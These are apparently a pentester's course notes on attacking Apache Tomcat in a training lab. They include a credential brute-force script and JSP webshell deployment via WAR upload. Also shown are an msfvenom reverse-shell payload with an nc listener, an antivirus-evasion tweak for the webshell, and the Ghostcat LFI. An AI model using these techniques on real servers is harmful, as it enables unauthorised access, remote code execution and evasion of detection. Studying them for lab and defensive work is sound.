---
title: "6. Tomcat"
date: 2025-01-29
draft: false
---

Webserv open source written in Java. 
Intentionally for JSP scripts and java servlets. Popularity increased in java-based frameworks. used by Spring and tools like Gradle 

Often less exposed to public internet. Far more common to see usage internally. 

Assume during ext. pentest run EyeWitness and see tomcat listed under `High Value Targets` 
- tool believes host running tomcat 
- must be confirmed! 
- externally facing tomcat could prove to be an easy foothold internally 

Tomcat servers can be fingerprinted by server header in http response. 
- If server operates behind reverse proxy: requesting invalid page should reveal serv + version. 
![](/img/Pasted image 20250114144152.png)

In this example - `9.0.30` 

Custom err pages may be used to not leak this information. Another method detecting tomcat + version is through `/docs` 

```shell
curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat 
```

Default documentation page may not be removed by admins 
General folder structure of a tomcat install: 
```shell-session
├── bin
├── conf
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib
├── logs
├── temp
├── webapps
│   ├── manager
│   │   ├── images
│   │   ├── META-INF
│   │   └── WEB-INF
|   |       └── web.xml
│   └── ROOT
│       └── WEB-INF
└── work
    └── Catalina
        └── localhost
```

`bin` stores scripts + bins needed to start + run tomcat serv. 
`conf` -> config
`tomcat-users.xml` user creds ; assigned roles
`lib` -> JAR files needed for functionality
`logs` and `temp` temp log files 
`webapps` default webroot of tomcat + hosts all applications. 
`work` acts as cache, store data during runtime. 

Most important file among these is `WEB-INF/web.xml` 
- deployment descriptor
- stores information about routes used by app and classes handling these routes 
- compiled classes used by app would be stored in WEB-INF/classes dir
- may contain important biz logic + sens. info 
- Any vuln in these files can lead to total compromise of site

`lib` stores libraries needed by particular application 
`jsp` dir stores jakarta server pages which can be compared to php files on an apache server 

example `web.xml` 
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
  <servlet>
    <servlet-name>AdminServlet</servlet-name>
    <servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/admin</url-pattern>
  </servlet-mapping>
</web-app>   
```

`web.xml` above defines:
- servlet named AdminServlet
	- mapped to class `com.inlanefreight.api.AdminServlet` 
	- pkg name path on disk for this would be `/classes/com/inlanefreight/api/AdminServlet.class` 
- new servlet mapping is created to map reqs to `/admin` with `AdminServlet` 
- This config sends reqs received for `/admin` to `AdminServlet.class` 
- descriptor holds a lot of sensitive information + important file to check when leveraging LFI vulns 

`tomcat-users.xml` allows / disallows access to `/manager` and `host-manager` admin pages: 
```xml
<?xml version="1.0" encoding="UTF-8"?>

<SNIP>
  
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
   
 <SNIP>
  
!-- user manager can access only manager section -->
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />

<!-- user admin can access manager and admin section both -->
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />


</tomcat-users>
```

Shows us what each role provides access to. 
User `tomcat` with password `tomcat` has `manager-gui` role + second weak password `admin` set for `admin` 

---
## Tomcat Enumeration 

After fingerprinting tomcat - unless there's known vulns - typically look for `/manager` and `/host-manager` - attempt to dirbust 
```shell-session
gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 
```

Potentially able to login with weak creds 
If few tries don't work, try bruteforce against login page. 
If successful we can upload a WAR file containing a jsp webshell for rce. 

---
## Attacking Tomcat

`/manager` and `/host-manager` endpoints exposed from above enumeration and we believe if we get access to these, we can get rce. 

**Manager login bruteforce**
https://www.rapid7.com/db/modules/auxiliary/scanner/http/tomcat_mgr_login/ 
`auxiliary/scanner/tomcat_mgr_login` msf can be used to brute these. 

Set `STOP_ON_SUCCESS` to true - no use in generating add'tl reqs after success 

Example to get this bruteforce tool to run through burp and inspect requests being made: 
```shell-session
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PROXIES HTTP:127.0.0.1:8080
```

```shell-session
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 10.129.201.58
```

Example python script to do the same thing: 
```python
#!/usr/bin/python

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")

parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")

args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]

cprint("\n[+] Atacking.....", "red", attrs = ['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url,auth = (u, p))

        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs = ['bold'])
            cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[+] Failed!!", "red", attrs = ['bold'])
    cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code
```
see: 
https://academy.hackthebox.com/course/preview/introduction-to-python-3
https://academy.hackthebox.com/course/preview/introduction-to-bash-scripting


**Tomcat manager, WAR File upload**
Interface available at `/manager/html` 
Only `manager-gui` roles can access
Valid creds can be used to upload a .WAR 
http://web01.inlanefreight.local:8180/manager/html
- Instantly deploy new applications by uploading WAR files 
- WAR can be created using zip utility
- Example JSP webshell 
	- https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp

```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp 
```

Click browse + select .war, click deploy. 
This file is uploaded to the manager GUI, after which the `/backup` application will be added to the table.
Directly nav to /backup and get 404 - need specify cmd.jsp 
http://web01.inlanefreight.local:8180/backup/cmd.jsp

```shell-session
curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id
```

Undeploy next to `backups` app after 
- will remove uploaded WAR archive + directory assoc with app
- msfvenom can also be used to generate a malicious WAR. 

https://github.com/iagox86/metasploit-framework-webexec/blob/master/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
```shell-session
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war
```

start listener: 
```shell-session
nc -lnvp 4443
```

https://www.rapid7.com/db/modules/exploit/multi/http/tomcat_mgr_upload/
`/multi/http/tomcat_mgr_upload` module can be used to automate the process above. 

lightweight JSP webshell utilizing a `bookmarklet` to exec javascript needed for the functionality of webshell + user inferface: 
https://github.com/SecurityRiskAdvisors/cmd.jsp
without it,  browsing to uploaded cmd.jsp renders nothing. excellent option to minimize footprint and possibly evade detections for standard jsp webshells 
only detected by 2/58 AV vendors 
https://www.freecodecamp.org/news/what-are-bookmarklets/

Simple change from 
```java
FileOutputStream(f);stream.write(m);o="Uploaded:
```
to: 
```java
FileOutputStream(f);stream.write(m);o="uPlOaDeD:
```

Results in 0/58 flags 

**Important considerations when using webshells:**
- Randomized file names (md5 hash)
- Limit access to our own source IP address
- Password protections

---
**CVE-2020-1938 : Ghostcat**
Unauth LFI 
Misconfig in AJP protocol used by Tomcat - Apache Jserv Protocol - binary protocol used to proxy reqs. Typically used in proxying requests to application servers behind front-end webservers. AJP usually runs on 8009. Nmap it. 

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

Exploit can only read files + folders within webapps folder - files like /etc/passwd cannot be accessed. In some Tomcat installs, we may be able to access sensitive data within the WEB-INF file.

---
Tomcat is great and high prio target to test. Test tomcat manager for weak creds. Common to find tomcat running as SYSTEM or root. Always worth digging, can provide privileged foothold into a linux server or domain joined winserv in AD. 

